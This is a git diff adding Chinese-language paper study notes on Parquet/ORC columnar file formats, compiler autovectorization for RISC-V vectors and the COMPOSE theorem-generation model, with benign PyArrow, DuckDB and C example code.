+5. **可嵌入更丰富的索引**（column index、range filter）——存储便宜，用空间换 CPU。
+6. **嵌套模型应贴近内存格式（Arrow）**——减少转码开销。
+7. **ML 需要：宽表投影、低选择性检索、大二进制与结构化数据分区存放、向量专用浮点压缩。**
+8. **GPU 友好 = 文件级并行块 + 块内可并行编码。**
+
+---
+
+## 代码示例 1：用 PyArrow 写入 Parquet 并观察编码选择
+
+下面演示**同一列数据**在「低 NDV（适合字典）」与「高 NDV（字典失效回退 plain）」下的文件大小差异——对应论文关于 Parquet 默认字典编码的核心论点。
+
+```python
+import pyarrow as pa
+import pyarrow.parquet as pq
+import os
+
+n = 1_000_000
+
+# 低 NDV：只有 10 个 distinct city，NDV ratio = 10/n
+low_ndv = pa.table({"city": pa.array(["Beijing"] * (n // 10) + ["Shanghai"] * (n // 10) +
+                                     [f"C{i}" for i in range(8) for _ in range(n // 80)])})
+
+# 高 NDV：每行唯一 UUID 风格字符串，NDV ratio ≈ 1
+high_ndv = pa.table({"id": pa.array([f"user-{i:08d}" for i in range(n)])})
+
+for name, table in [("low_ndv", low_ndv), ("high_ndv", high_ndv)]:
+    path = f"/tmp/{name}.parquet"
+    pq.write_table(
+        table,
+        path,
+        compression="SNAPPY",           # 论文：默认 Snappy 在现代硬件上常不划算
+        use_dictionary=True,            # Parquet 默认对各类列尝试字典
+        write_statistics=True,          # 写入 zone map（min/max）供谓词下推
+        row_group_size=1_000_000,       # 论文实验默认 1M 行 / row group
+    )
+    print(f"{name}: {os.path.getsize(path) / 1024 / 1024:.2f} MB")
+
+# 读取 metadata，查看实际采用的编码
+meta = pq.read_metadata("/tmp/low_ndv.parquet")
+rg = meta.row_group(0)
+col = rg.column(0)
+print("low_ndv encoding:", col.statistics)  # 可进一步用 col.encodings() 查看
+```
+
+**预期直觉**：`low_ndv` 文件应远小于 `high_ndv`；后者字典页填满后大量值以 plain 存储，体积接近原始字符串长度。生产环境可尝试 `compression="NONE"` 或 `ZSTD` 级别 1，对照论文 Figure 8 在 NVMe 上的扫描延迟。
+
+---
+
+## 代码示例 2：用 DuckDB 对 Parquet 做选择性扫描（zone map 下推）
+
+DuckDB 读取 Parquet 时会利用 **footer 中的列统计信息**跳过 Row Group，对应论文 §5.6 的 select + late materialization 讨论。需先 `pip install duckdb pyarrow`。
+
+```python
+import os
+import duckdb
+import pyarrow as pa
+import pyarrow.parquet as pq
+import datetime
+
+# 生成 100 万行 BI 风格数据：date 列有一定有序度（利于 zone map）
+n = 1_000_000
+base = datetime.date(2020, 1, 1)
+dates = pa.array([base + datetime.timedelta(days=i % 365) for i in range(n)])
+amounts = pa.array([i % 1000 for i in range(n)])
+table = pa.table({"dt": dates, "amount": amounts})
+path = "/tmp/bi_sample.parquet"
+pq.write_table(table, path, compression="SNAPPY")
+
+con = duckdb.connect()
+con.execute(f"CREATE VIEW sales AS SELECT * FROM read_parquet('{path}')")
+
+# 高选择性：扫描大部分 row group
+high_sel = con.execute("""
+    SELECT SUM(amount) FROM sales
+    WHERE dt BETWEEN DATE '2020-06-01' AND DATE '2020-12-31'
+""").fetchone()
+
+# 低选择性：仅匹配极少数 row（zone map 可跳过更多块）
+low_sel = con.execute("""
+    SELECT SUM(amount) FROM sales
+    WHERE dt = DATE '2020-01-01'
+""").fetchone()
+
+print("high selectivity sum:", high_sel[0])
+print("low selectivity sum:", low_sel[0])
+
+# EXPLAIN 可查看是否 pushdown（版本不同输出略有差异）
+print(con.execute("EXPLAIN SELECT * FROM sales WHERE dt = DATE '2020-01-01'").fetchdf())
+```
+
+**论文启示**：低选择性查询在 Parquet 上能否加速，取决于 **PageIndex / Row Group 统计**是否启用、**date 列是否在文件中有序聚簇**。若 date 完全随机，zone map 几乎无效——这与 Lesson 5「索引要匹配数据分布」一致。
+
+---
+
+## 代码示例 3（补充）：对比「开/关块压缩」的扫描成本
+
+```python
+import os
+import pyarrow as pa
+import pyarrow.parquet as pq
+import time
+
+n = 1_000_000
+table = pa.table({
+    "k": pa.array([i % 500 for i in range(n)]),      # 低 NDV 整数
+    "s": pa.array([f"tag-{i % 50}" for i in range(n)]),
+})
+
+for comp in ["NONE", "SNAPPY", "ZSTD"]:
+    path = f"/tmp/core_{comp}.parquet"
+    pq.write_table(table, path, compression=comp, row_group_size=n)
+    size_mb = os.path.getsize(path) / 1024 / 1024
+
+    t0 = time.perf_counter()
+    _ = pq.read_table(path)
+    elapsed = time.perf_counter() - t0
+    print(f"{comp:6s}  size={size_mb:5.2f}MB  read={elapsed:.3f}s")
+```
+
+在 NVMe 上你往往会看到：**NONE 读最快、体积未必最大**（因轻量编码已压缩）；ZSTD 体积最小但解码最慢——复现论文 Figure 8 的 CPU vs I/O trade-off。
+
+---
+
+## 与 Lakehouse / Arrow 的关系
+
+- **Lakehouse**（Delta/Iceberg/Hudi）在 Parquet 之上加**事务日志、快照、分区演进**——解决的是「哪几个文件组成表 version N」，不是「列块如何编码」。
+- **Arrow** 是进程间**零拷贝/少拷贝**内存列格式；Parquet → Arrow 解码是分析查询的常规路径。论文刻意分开测「格式原生扫描」，避免 Parquet 与 Arrow 紧耦合造成 ORC 对比不公平。
+
+读 Lakehouse 笔记时把本文当作**底层文件格式层**的补充：表格式选 Iceberg 不改变「仍建议默认字典、谨慎 Snappy」的结论。
+
+---
+
+## 实践建议（写 Parquet/ORC 的生产 checklist）
+
+1. **先看列 NDV**：BI/日志列多数低 NDV → 保持字典；高基数 ID 列考虑 ORC 式 NDV 阈值或关闭字典。
+2. **块压缩**：NVMe / 本地 SSD 分析集群可试 **`compression=NONE` 或 ZSTD level 1** 做 A/B；S3 冷数据、带宽贵时可保留 zstd。
+3. **Row Group 大小**：窄表用大 row group（100 万行）；**含大 blob（图片）** 时用较小 row group 提高并行读（论文 Figure 18），结构化列与 blob **分区存放**更好。
+4. **谓词列**：低选择性查询靠 **PageIndex（Parquet 2.x）** 或 ORC Row Index；确保写入时 `write_statistics=True`。
+5. **ML 宽表**：数千特征列时，关注 **footer 解析**成本；考虑按特征组分文件、或等 F3 等下一代格式。
+6. **向量列**：Parquet list<float> 非最优；大规模 embedding 可评估 **Zarr / 专用向量库 + 外表 Parquet 元数据**。
+7. **GPU 管道**：若走 RAPIDS/cuDF，**更 aggressive 的块压缩**可能反而有利——与 CPU 结论相反。
+
+---
+
+## 局限与后续工作
+
+- 实验主要基于 **Arrow 9.0 / ORC 1.8 / 2023 年**实现；Parquet PageIndex、Bloom Filter 在 C++ 侧支持仍在演进。
+- 未涵盖 **BtrBlocks、Capacitor、Alpha、F3** 等新格式（作者后续 SIGMOD'26 有 F3 工作）。
+- 对比 ORC 时未测「ORC 原生 reader 最优路径」，部分结论针对 **转 Arrow / 通用扫描** 场景。
+
+---
+
+## 一句话总结
+
+Parquet 和 ORC 都是 2013 年 Hadoop 时代的杰作；在 **NVMe + ML + 云对象存储 + GPU** 的今天，**没有格式全胜**——真实列普遍低 NDV 使**字典编码仍应是默认**，**简单解码胜过复杂压缩**，**块压缩不应无脑默认**，**元数据与索引粒度**要匹配工作负载（BI 扫描 vs geo 点查 vs ML 宽表 vs 向量 top-k）。这篇论文的价值在于：用可复现 benchmark 把「格式迷信」变成「可度量 trade-off」，为 F3 等下一代开放格式铺路。
+
+---
+
+## 延伸阅读
+
+- 论文扩展版：https://arxiv.org/pdf/2304.05028
+- Artifact：https://github.com/XinyuZeng/EvaluationOfColumnarFormats
+- 同团队后续：**F3**（SIGMOD 2026 Best Paper Honorable Mention）、**NULLS!**（DaMoN 2024）、**LeCo** 学习型压缩（SIGMOD 2024）
+- 表格式层：本仓库 [Lakehouse 2021 笔记](./lakehouse-2021.md)
diff --git a/src/content/docs/papers/compiler-perf-left-on-table.md b/src/content/docs/papers/compiler-perf-left-on-table.md
new file mode 100644
index 000000000..7f71e9bf6
--- /dev/null
+++ b/src/content/docs/papers/compiler-perf-left-on-table.md
@@ -0,0 +1,325 @@
+---
+title: Performance Left on the Table — 编译器自动向量化还剩多少性能没吃到
+来源: 'Neil Adit & Adrian Sampson, "Performance Left on the Table: An Evaluation of Compiler Autovectorization for RISC-V", IEEE Micro, 2022 (DOI: 10.1109/MM.2022.3184867)'
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：自动挡 vs 手动挡
+
+想象你买了一辆带「运动模式」的新车，销售说引擎能输出 300 马力。你平时只用 D 挡通勤，仪表盘永远显示 150 马力——不是车坏了，而是**自动挡的换挡逻辑**没把你踩到底的油门完全翻译到轮子上。
+
+写 C/C++ 程序时，编译器的 **autovectorization（自动向量化）** 就像这辆车的 D 挡：理论上 CPU 有 SIMD/向量单元（一次处理 4、8、16 个数据），编译器应该把标量循环改写成向量指令；但大量 benchmark 显示，**手写 intrinsics 的「手动挡」版本**往往比 `-O3` 自动向量化快一截，甚至快数倍。论文标题 *Performance Left on the Table* 说的就是：**桌上还摆着性能，编译器没帮你端起来**。
+
+Adit & Sampson 在 RISC-V Vector Extension（RVV）和 LLVM 15 上做了系统测量，对比三种配置：
+
+| 配置 | 含义 |
+|------|------|
+| Scalar | 纯标量，关闭向量化 |
+| Hand-vector | 程序员用 RVV intrinsics 手写向量代码 |
+| Autovector | 只写标量循环，交给 `clang -O3` 自动向量化 |
+
+核心问题不是「向量化有没有用」（有用，TSVC 里常见 6–7× 指令数下降），而是 **length-agnostic ISA（长度无关向量 ISA）** 上的编译器支持，仍明显落后于 AVX-512 等固定宽度 ISA——以及即使向量化成功，和手写之间仍有 gap。
+
+---
+
+## 是什么
+
+**Performance Left on the Table** 是一篇 **empirical compiler evaluation（实证编译器评估）** 论文，聚焦 **LLVM 对 RISC-V RVV 的 autovectorization 成熟度**，并与 **Intel AVX-512** 对照。
+
+研究分两路：
+
+1. **合成循环（TSVC）**：151 个经典向量化测试 loop，看 LLVM 在 RVV-VLS（编译期固定向量宽）与 RVV-VLA（向量长度在运行时由硬件决定）下各能 vectorize 多少。
+2. **真实应用（RiVec benchmark suite）**：已有 RVV 手写实现的 PARSEC / Rodinia / PolyBench 程序，量化 autovector 与 hand-vector 的 **dynamic instruction count speedup** 差距，并通过**受控源码变换**模拟「若编译器/编程模型改进 X，gap 能缩小多少」。
+
+论文产出 **Table 1：改进提案清单**，按难度标注为工程修复 (E)、编译器研究 (C)、编程模型研究 (P)——相当于给 RVV/SVE 生态的 roadmap。
+
+---
+
+## 为什么重要
+
+### 1. 向量 ISA 正在换代
+
+传统 **fixed-length SIMD**（x86 AVX、ARM Neon）把向量宽写死在 ISA 里：换一代 CPU 可能要重编译或改 intrinsics。新一代 **length-agnostic / scalable vector ISA**——**RISC-V RVV**、**ARM SVE**——用 `vsetvl` 等在运行时适配硬件向量长度，**同一份二进制**可在不同 core 上跑。但若编译器 autovector 跟不上， portability 的代价就是 **performance left on the table**。
+
+### 2. 手写 intrinsics 不可持续
+
+Hand-vector 要求程序员：
+
+- 理解 `vsetvl` stripmining、mask、segment load/store；
+- 处理 tail loop（剩余元素不足一个向量宽）；
+- 为每种数据宽度、每种 libm 函数单独调优。
+
+Autovector 的理想是：**写可读的标量循环，编译器生成接近手写的 RVV**。论文用数据说明：这个理想在 2022 年的 LLVM 上**部分成立**（Streamcluster、Jacobi-2D），**部分彻底失败**（Blackscholes 在 RVV 上 autovector 零加速）。
+
+### 3. 对「编译器已经够聪明」的纠偏
+
+工业界常见心态：「开 `-O3` 就行了」。论文用 RiVec 表明：**math lib 调用、指针别名、动态向量长度、shuffle 代价未建模** 等具体问题，会让 `-O3` 在关键 loop 上**完全放弃向量化**。这不是抽象讨论，而是可复现的 instruction count 和变换实验。
+
+---
+
+## 核心概念
+
+### 1. Autovectorization（自动向量化）
+
+编译器分析 loop 的 **data dependence（数据依赖）** 和 **memory access pattern（访存模式）**，若相邻迭代可并行，则生成 SIMD/向量指令，一次处理多个 lane。
+
+**必要条件（简化）**：
+
+- Loop 内无 **loop-carried dependence** 阻碍（或 dependence distance ≥ vector length）；
+- 编译器能证明 **pointer aliasing（指针别名）** 不破坏语义；
+- 无编译器无法 vectorize 的 **call**（如 scalar `log10`）。
+
+### 2. RVV-VLS vs RVV-VLA
+
+| 模式 | LLVM 标志 | 含义 |
+|------|-----------|------|
+| RVV-VLS | `-riscv-v-vector-bits-min=N` | 编译期假定向量宽为 N bit，类似传统 SIMD |
+| RVV-VLA | `-scalable-vectorization=on` | 向量长度运行时才知道，IR 中用 **scalable vector type** |
+
+论文发现：VLS 比 VLA **多 vectorize 13 个 TSVC loop**，因为有些 pass 需要 **compile-time fixed vector length**（例如 SLP vectorization、某些 stride load 模式）。VLA 后端往往退化为更通用的 `vluxei`（indexed gather），而 VLS 可选更高效的 `vlse`（strided load）。
+
+### 3. Instruction count speedup
+
+论文主指标：
+
+```text
+speedup_c = (scalar 动态指令数) / (配置 c 的动态指令数)
+```
+
+在 gem5（RVV）或 perf（AVX-512）上测 **dynamic instruction count**，不是 wall-clock——便于隔离「编译器生成了多少指令」，但仍与真实性能强相关。
+
+### 4. 性能 gap 的六大来源（RiVec 总结）
+
+论文 Table 1(B) 归纳 autovector 落后于 hand-vector 的主因：
+
+1. **Vector math library 缺失**：RVV 没有像 AVX-512 那样接 `-fveclib=libmvec`，loop 里的 `exp`/`log` 阻断向量化。
+2. **Vector-scalar width mismatch**：RV64 上标量 promoted 到 i64，向量仍是 i32，插入大量 width conversion。
+3. **Dynamic vector length scalability**：Autovector 只用 max hardware vector length + scalar epilogue；手写用 `vsetvl` stripmine，tail 更高效。
+4. **Shuffle pattern detection**：VLA 下 gather offset / shuffle mask 无法在 IR 里写成固定数组，后端选指令保守。
+5. **Memory aliasing & access pattern**：编译器未识别 reuse，重复 load/store。
+6. **Algorithmic structure**：需 loop fusion、interchange 等源码级变换才可向量化——属编程模型问题。
+
+---
+
+## 代码示例 1：strided access — VLS 能 vectorize，VLA 选指令更差
+
+TSVC 类 loop（论文 synthetic study）：
+
+```c
+// 每隔一个元素写 a[i] = a[i-1] + b[i]
+for (int i = 0; i < N; i += 2) {
+    a[i] = a[i - 1] + b[i];
+}
+```
+
+**零基础怎么读**：
+
+- 这是 **strided（跨步）访存**：不是连续 `a[i]`、`a[i+1]`，而是步长 2。
+- **RVV-VLS** 后端可选 **strided load (`vlse`)**——硬件直接按步长取数。
+- **RVV-VLA** 因 IR 里 offset 不能写成「长度固定的数组」，常退化为 **indexed gather (`vluxei`)**——更通用、往往更慢。
+
+**启示**：不是 loop「本质上不能向量化」，而是 **length-agnostic IR 表示不完整** 导致后端保守。论文建议：**Standardize IR representation for gather offsets and shuffle masks**（Table 1-A，难度 C）。
+
+---
+
+## 代码示例 2：Blackscholes — 一个 `log10` _CALL 毁掉整条 loop
+
+Blackscholes 期权定价核心类似：
+
+```c
+for (int i = 0; i < numOptions; i++) {
+    float price = ...;  // 若干算术
+    float log_val = log10(price);   // ← scalar libm call
+    result[i] = some_formula(price, log_val);
+}
+```
+
+**现象（论文 Figure 1a，未修改 benchmark）**：
+
+| 配置 | 相对 scalar 的指令 speedup |
+|------|---------------------------|
+| Hand-vector (RVV) | ~6.8× |
+| Autovector RVV-VLA / VLS | **~1×（无加速）** |
+| Autovector AVX-512 + libmvec | **~9.3×** |
+
+RVV 上 LLVM **无法把 `log10` 换成向量 math 库**，整个 inner loop 保持标量。AVX-512 有 GLIBC vector math，autovector 反而很强。
+
+**受控实验**：把 hand-vector 和 autovector 版本里的 math 函数都改成 **no-op**，再比 speedup——Blackscholes 的 gap **完全消失**，autovector 甚至略超 hand-vector（~11× vs ~6.8×），说明 **compute pattern 本身编译器能优化得很好**，瓶颈在 **libm**。
+
+```c
+// 论文式「factor out math」变换（概念示意）
+#define log10(x) ((void)(x), 0.0f)  // 仅用于测量 gap，非生产代码
+```
+
+**启示**：**Engineering fix (E)** —— 为 RISC-V 提供 **vectorized libm** 并接 `-fveclib`，可能一次性解锁大量科学计算 loop。
+
+---
+
+## 代码示例 3：动态向量长度 — 手写 stripmine vs 编译器 epilogue
+
+**Hand-vector（RVV intrinsics 风格）**：
+
+```c
+#include <riscv_vector.h>
+
+void saxpy(size_t n, float a, const float *x, float *y) {
+    size_t vl;
+    for (size_t i = 0; i < n; i += vl) {
+        vl = __riscv_vsetvl_e32m1(n - i);   // 每次取当前硬件允许的长度
+        vfloat32m1_t vx = __riscv_vle32_v_f32m1(&x[i], vl);
+        vfloat32m1_t vy = __riscv_vle32_v_f32m1(&y[i], vl);
+        vy = __riscv_vfmacc_vf_f32m1(vy, a, vx, vl);
+        __riscv_vse32_v_f32m1(&y[i], vy, vl);
+    }
+}
+```
+
+**Autovector 近似生成的控制流（论文 pseudocode）**：
+
+```c
+int max_hwl = read_csr_vlen();           // 固定用最大硬件向量宽
+for (int i = 0; i < N; i += max_hwl) {
+    if ((N - i) < max_hwl) {
+        // scalar epilogue：尾部不足一个向量宽时逐元素标量处理
+        for (int j = i; j < N; j++)
+            y[j] += a * x[j];
+    } else {
+        // 向量主体
+        ...
+    }
+}
+```
+
+Streamcluster 的 `dist` 函数：autovector **指令数反而优于** hand-vector，因为手写版在 loop 内为 dynamic VL 加了额外 **vector control 指令**，而 autovector 生成的固定宽度主体更「干净」。但在 tail 占比高的 workload 上，**缺少 vsetvl 式 stripmine** 会浪费向量 lane。
+
+**启示**：LLVM 应支持 **dynamic vector length scalability (C)**——在 autovector 代码里生成 `vsetvl` 循环，而非 max-width + scalar epilogue。
+
+---
+
+## 代码示例 4：指针别名 — 编译器「不敢」向量化
+
+Stack Overflow / 社区长期讨论的经典模式（与论文 **Jacobi-2-D / Pathfinder 变换** 同类）：
+
+```c
+struct Buffer {
+    size_t size;
+    double *data;
+};
+
+void add1(Buffer *this, const Buffer *other) {
+    for (size_t i = 0; i < this->size; i++)
+        this->data[i] += other->data[i];  // 编译器担心 data[i]  alias 到 &size
+}
+```
+
+在 strict aliasing 下，若 `data` 理论上可指向 `&this->size`，编译器必须假设 **`this->size` 每次迭代可能被写**，无法把 trip count hoist，也无法向量化。
+
+**论文中的修复（Table 2）**：
+
+- `restrict` 指针，或
+- 简化 2-D 访存为 1-D 连续访问，
+- 明确 non-aliasing memory。
+
+```c
+void add1_restrict(double * restrict data, size_t n, const double * restrict other) {
+    for (size_t i = 0; i < n; i++)
+        data[i] += other[i];
+}
+```
+
+变换后 Jacobi-2-D、Pathfinder 的 autovector 接近 hand-vector，但仍可能因 **未识别 data reuse** 而多几次冗余 load。
+
+---
+
+## 实验结果速览
+
+### TSVC（151 loops，vector length = 8）
+
+- RVV-VLS 与 RVV-VLA **共同向量化** 82 个 loop，几何平均指令 speedup 约 **7× / 6.3×**。
+- **仅 VLS 能向量化** 的额外 13 个 loop → VLA 编译器/IR 待补完。
+- 议题：dependence analysis 需 **runtime vector length speculation**、SLP 需 **multilength 版本**、reduction 需在 loop 里做 vector register reduction。
+
+### RiVec（7 个应用，Figure 1）
+
+**未修改源码**：
+
+| Benchmark | Autovector 表现摘要 |
+|-----------|---------------------|
+| Streamcluster | Autovector ≥ hand-vector（dist 规律访存 + reduction） |
+| Blackscholes | RVV autovector **无加速**（libm） |
+| Jacobi-2-D, Pathfinder | 有加速，但不如 hand-vector（reuse / alias） |
+| Particle filter, Swaptions | 关键段未向量化，接近 scalar |
+
+**Table 2 变换后（Figure 1b）**：skip math、loop fusion、restrict 等组合可 **大幅 closure gap**；Swaptions 除 math 外仍需 inline、loop interchange 等。
+
+---
+
+## 与更广的「性能留在桌上」
+
+候选语料里把话题扩展到 **PGO、LTO、autovector 盲区**——与本论文一致的精神：
+
+| 技术 | 「留在桌上」的典型原因 |
+|------|------------------------|
+| **Autovector** | alias、libm、dynamic VL、shuffle 代价 |
+| **PGO** | 未采集代表性 profile；CI 未链 LTO+PGO |
+| **LTO** | 跨 TU 边界 inlining / vectorization 仍受 IR 限制 |
+| **Auto-parallel** | OpenMP 缺 `simd` / `declare simd` 提示 |
+
+论文的方法论可复用：**(hand-opt baseline) − (autovector) = gap**，再 **受控变换** 归因到具体 pass 缺失。
+
+---
+
+## 改进路线图（Table 1 精简）
+
+**A. 合成 loop / IR 层面**
+
+- 标准化 length-agnostic gather/shuffle IR **(C)**
+- Runtime vector-length-based dependence analysis **(E)**
+- Multilength SLP **(E)**
+- Vector reduction in dynamic loop **(E)**
+
+**B. 应用 benchmark 层面**
+
+- RISC-V vector math library **(E)** ← 高 ROI
+- Infer scalar width from vector types **(C)**
+- Dynamic VL in autovector output **(C)**
+- Shuffle cost model for RVV backend **(C)**
+- Algorithmic loop fusion **(P)**
+
+---
+
+## 零基础实践清单
+
+1. **看编译器有没有向量化**：`clang -O3 -Rpass=loop-vectorize -Rpass-missed=loop-vectorize foo.c`
+2. **对比汇编**：`llvm-objdump -d` 或 Compiler Explorer，搜 `vle`/`vse`（RVV）或 `vmovups`（x86）。
+3. **排除 libm 阻断**：临时替换 math 调用或链接 vector libm（x86 上试 `-fveclib=libmvec`）。
+4. **帮助 alias 分析**：`restrict`、`-fno-strict-aliasing`（仅诊断用，生产慎用）、结构体拆分 pointer 与 length。
+5. **显式提示**：OpenMP `#pragma omp simd`、Clang `__attribute__((assume_aligned))`。
+6. **仍不够再 intrinsics**：与论文结论一致——hand-vector 是现状下的性能上限参考。
+
+---
+
+## 局限与后续工作
+
+- 指标是 **dynamic instruction count**，未涵盖 cache、分支预测、向量单元占用率；Blackscholes 上 autovector 去掉 math 后 **优于** hand-vector 仅说明「指令更省」，真实 wall-clock 还看 libm 实现。
+- 评估锁定 **LLVM 15 + gem5**；2024–2026 的 LLVM 对 RVV 持续演进，需重新跑 RiVec/TSVC 验证 gap 是否缩小。
+- 后续研究如 **VecTrans（LLM 辅助改写 TSVC 以触发 Clang 向量化）** 说明：gap 的一部分可通过 **源码变换 + 编译器** 联合关闭，而不只靠后端 patch。
+
+---
+
+## 一句话总结
+
+**Performance Left on the Table** 用 RISC-V RVV 证明：在 length-agnostic 向量时代，**编译器 autovectorization 仍系统性弱于 fixed-width ISA 上的成熟度，也弱于手写 intrinsics**——主因是 vector libm、VLA IR/后端、dynamic vector length、alias 与访存模式，而非「向量化理论不适用」。性能不是不存在，而是 **留在桌上**；工程上优先补 vector math 与 alias 友好写法，往往比换 CPU 更便宜。
+
+---
+
+## 延伸阅读
+
+- RISC-V Vector Extension spec（RVV v1.0）
+- ARM SVE autovectorization 对比研究（与 Neon/AVX 对照的 prior work）
+- TSVC / TSVC 2 向量化测试套件
+- RiVec benchmark suite（RVV hand-vector 参考实现）
+- VecTrans（arXiv:2503.19449）— LLM 改写不可向量化 loop 以触发 autovector
diff --git a/src/content/docs/papers/compose-future-theorems.md b/src/content/docs/papers/compose-future-theorems.md
new file mode 100644
index 000000000..fe783501f
--- /dev/null
+++ b/src/content/docs/papers/compose-future-theorems.md
@@ -0,0 +1,359 @@
+---
+title: COMPOSE — 从引用与形式结构「合成」未来定理
+来源: https://arxiv.org/abs/2605.30333
+日期: 2026-06-13
+子分类: 定理证明
+分类: 形式化方法
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：猜下一本书该写什么章节
+
+你在写一本数学教材，已经写到第 5 章。同事问你：「下一章最可能写什么？」
+
+你会同时看两样东西：
+
+1. **学术脉络（科学上下文）**：这章引用了哪些经典论文？同行最近在推什么方向？引用出现在证明里还是背景介绍里？——这告诉你「**大家正在往哪走**」。
+2. **逻辑地基（形式结构）**：第 5 章用到的引理、定理，在 Lean 的 Mathlib 里依赖谁、又能推出谁？——这告诉你「**从现有结果出发，逻辑上还能合法地接什么**」。
+
+只盯引用、不看形式依赖，容易猜出「听起来很前沿、但证不出来」的口号；只盯 Mathlib 依赖、不看论文叙事，容易猜出「逻辑上能证、但没人会关心」的边角结论。
+
+**COMPOSE**（Busbib & Werman, Hebrew University, arXiv:2605.30333）要做的，就是把这两种约束同时喂给一个数学专用语言模型，让它为**锚点论文（anchor paper）**生成一句「像真会出现在未来论文里的定理式主张」，再用检索 benchmark 检验：生成的主张能否找回**后来真正发表、且引用了该锚点的论文**。
+
+类比总结：
+
+| 日常 | COMPOSE | 论文术语 |
+|------|---------|----------|
+| 看参考文献判断趋势 | 2-hop 引用子图 + 摘要/定理节点 | Scientific graph $G_s$ |
+| 看教材定理依赖链 | Mathlib 对齐 + LeanDojo 依赖扩展 | Formal graph $G_f$ |
+|  informal 定理 ↔ Lean 定理 | FrenzyMath 检索 + 相似度阈值 | Alignment set $\mathcal{P}$ |
+| 两路信息合并后再写 | 双向 cross-attention 融合 | Dual-graph encoder |
+| 猜下一篇会 cite 本文的工作 | 生成主张 → 检索 47K 未来论文 | Grounded future mathematical generation |
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 未来数学主张必须满足双重约束
+
+一个** plausible** 的未来数学结果需要：
+
+- **科学动机**：延续 Lakatos 意义上的研究纲领，跟引用脉络、社区兴趣一致；
+- **形式可 grounded**：在已有定义/引理/定理的依赖图上，下一步「能接得上」。
+
+现有工作往往只建模一侧：
+
+| 路线 | 强项 | 盲区 |
+|------|------|------|
+| 基于引用的 idea generation（GIANTS、GoAI、CoI 等） | 捕捉研究趋势 | 缺少形式依赖，主张可能「逻辑悬空」 |
+| 定理证明 / Mathlib 检索（ReProver、DeepSeek-Prover 等） | 严格依赖结构 | 缺少「哪条 informal 方向值得做」的科学语境 |
+| 仅 citation GNN 或仅 theorem GNN | 结构感知 | 单源，无法同时 grounded + motivated |
+
+COMPOSE 提出 **grounded future mathematical generation**：给定锚点论文，联合利用**科学引用图**与**形式定理依赖图**，生成定理式未来主张。
+
+### 2. 非平凡对齐：informal 论文 ↔ formal Mathlib
+
+同一数学内容在 arXiv 正文与 Lean 语法里长相完全不同。COMPOSE 不追求端到端 autoformalization，而采用 **informal-to-informal** 对齐（沿用 FrenzyMath 思路）：
+
+1. 从论文中抽取 informal 定理陈述；
+2. 用 E5 嵌入在 FrenzyMath 语料（约 14 万条 Mathlib 定理的自然语言描述）里检索；
+3. 相似度高于阈值 $\tau$ 才保留匹配，否则丢弃该定理的形式分支；
+4. 以匹配到的 Mathlib 定理为根，用 LeanDojo 沿依赖边扩展局部形式子图。
+
+这样约 **108K** 个「科学图 + 形式图」配对样本可用于训练；测试集为 **2024–2025 年 47K** 篇未来数学论文（时间上 hold-out）。
+
+---
+
+## 核心概念
+
+### 1. 科学图 $G_s$（Scientific Citation Graph）
+
+以锚点论文为中心：
+
+- **节点**：论文摘要节点（abstract）+ 从 1–2 hop 引用文献中抽取的**定理节点**（theorem）；
+- **边类型**：引用边、摘要→定理、定理→父定理等；
+- **选引用策略**：不是整篇 bibliography 全收，而是按**引用上下文相关性**筛选（最多 1-hop 5 篇、2-hop 每节点 3 篇），优先出现在证明或主结果中的引用；
+- **节点初始化**：E5-large-v2 文本嵌入。
+
+训练时的**监督目标**来自「未来论文」：某篇在锚点之后发表、且**引用了锚点**的论文，其**主要数学主张**是要生成的 $y$；该未来论文**不能**出现在输入图里（防泄漏）。
+
+### 2. 形式图 $G_f$（Formal Theorem Dependency Graph）
+
+- **节点**：Mathlib 定理（Lean 签名 + 依赖关系）；
+- **边**：Mathlib 中的 directed dependency（由 LeanDojo 抽取）；
+- **根节点**：与 $G_s$ 中 informal 定理对齐成功的 Mathlib 定理，标记为 distinct root type；
+- **节点初始化**：DeepSeek-Math 对定理签名的嵌入（比 E5 更懂形式数学）。
+
+对齐集合 $\mathcal{P} \subseteq V_s^{\mathrm{thm}} \times V_f$ 把两侧定理节点连起来，是跨图融合的锚。
+
+### 3. 双图编码器 + 融合
+
+两条支路结构相同（2 层 message-passing GNN，hidden 1024），参数不共享：
+
+```
+G_s → SimpleGNN(E5 init) → h^s  ─┐
+                                  ├─ Bridge MLP → 共享 4224 维
+G_f → SimpleGNN(DS-Math init) → h^f ─┘
+                                  ↓
+                    双向 cross-attention（各 8 head）
+                                  ↓
+              融合节点表示 {h̃_i} → 条件化 DeepSeek-Math-7B
+```
+
+- GNN 更新：入边/出边消息分别 mean-pool，经 gated residual + LayerNorm，缓解 over-smoothing；
+- 融合后表示与 decoder 隐藏态在**第 3,7,11,15,19,23,27,31 层**做 cross-attention（约 20% 层）；
+- Decoder 用 **LoRA rank 32** 微调。
+
+### 4. 两阶段训练
+
+**Stage 1（无 decoder）**：只训 GNN、Bridge、Fusion，冻结文本嵌入。
+
+- $\mathcal{L}_{link}$：链路预测，让相邻节点表示内积大、非边小；
+- $\mathcal{L}_{align}$：对比学习，融合图表示靠近「真实未来论文」的 abstract+claim 嵌入，远离负样本；
+- $\mathcal{L}_{cross}$：对齐 $\mathcal{P}$ 中 informal↔formal 定理对，InfoNCE 式对比。
+
+**Stage 2（加 decoder）**：
+
+- 自回归 CE：生成未来数学主张文本；
+- **Graph margin loss**：防止 decoder 忽略图条件（无图时 loss 应更差）。
+
+若某样本没有任何高置信 Mathlib 匹配，则**仅用科学图编码器**训练（形式支路为空）。
+
+### 5. 评估方式
+
+主指标不是 ROUGE 抄未来摘要，而是**检索真实未来论文**：
+
+1. 模型生成主张 $\hat{y}$；
+2. 在 **47K** 未来论文池里，用微调过的 DeepSeek-Math 嵌入做相似度检索；
+3. 看 ground-truth 未来 citing 论文是否出现在 Top-k。
+
+在 confidence-stratified 子集上，COMPOSE **H@10 = 0.508**（CoI-GPT4 约 0.410，GIANTS 约 0.080）。LLM-as-judge 五维（数学内容、技术深度、新颖性、精确性、具体性）综合最优；**Struct.**（含实质数学内容的比例）约 **0.975**。
+
+**Fut-R** 指标衡量是否「向前看」：
+
+$$\mathrm{Fut\text{-}R}=\frac{\mathrm{ROUGE\text{-}L}(\hat{y}, y^{*})}{\mathrm{ROUGE\text{-}L}(\hat{y}, x)}$$
+
+> 1 表示生成文本更像未来真定理，而非复述输入；COMPOSE 约 1.223，GIANTS 约 0.314。
+
+---
+
